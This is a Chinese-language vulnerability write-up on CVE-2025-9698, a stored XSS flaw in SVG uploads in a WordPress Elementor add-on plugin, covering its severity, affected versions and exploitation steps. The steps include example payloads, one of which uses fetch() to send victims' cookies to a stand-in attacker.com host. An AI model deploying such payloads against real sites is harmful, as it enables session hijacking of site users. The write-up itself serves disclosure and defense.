CVE-2025-9698CVE-2025-9698是The Plus Addons for Elementor WordPress插件中的一个存储型跨站脚本（Stored XSS）漏洞。该插件在处理SVG文件上传时未对文件内容进行充分的过滤和净化处理，导致恶意用户可以将包含JavaScript代码的SVG文件上传到WordPress媒体库中。由于SVG文件本质上是一种基于XML的图像格式，可以包含脚本标签和事件处理器，攻击者能够利用这一特性在受害者浏览器中执行任意JavaScript代码。该漏洞由WPScan团队（[email protected]）发现并报告，CVSS评分为6.8分，属于中危级别漏洞。该漏洞已于2025年10月13日公开披露，影响该插件6.3.16之前的所有版本。受影响的网站管理员应尽快更新到最新版本以修复此安全缺陷。该漏洞的利用需要攻击者拥有最低Author级别的WordPress用户权限，这意味着在多作者博客或允许用户注册的网站上，恶意注册用户可能利用此漏洞发动攻击。
该漏洞的核心问题在于The Plus Addons for Elementor插件在处理用户上传的SVG文件时，未对SVG文件内容进行适当的净化处理。SVG（Scalable Vector Graphics）是一种基于XML的矢量图形格式，支持嵌入JavaScript脚本和事件处理器（如onload、onclick等），这使得SVG文件本质上可以包含可执行代码。在正常的WordPress环境中，管理员通常会限制SVG上传以防止XSS攻击，但该插件在实现文件上传功能时绕过了这一安全限制。具体利用过程如下：1）攻击者首先需要拥有一个Author或更高权限的WordPress账户；2）攻击者创建一个包含恶意JavaScript代码的SVG文件，例如使用<script>alert(document.cookie)</script>或使用<svg onload='fetch("https://attacker.com/?cookie="+document.cookie)'>等payload；3）通过插件提供的文件上传功能将该SVG文件上传到WordPress媒体库；4）当其他用户（尤其是管理员）查看包含该SVG的页面时，恶意脚本将在其浏览器中自动执行；5）攻击者可以利用此漏洞窃取用户会话cookie、进行权限提升、植入后门、重定向用户到恶意网站等。由于该漏洞为存储型XSS，恶意代码会被持久化存储在服务器端，每次有用户访问受影响的页面都会触发攻击，影响范围广泛且持续。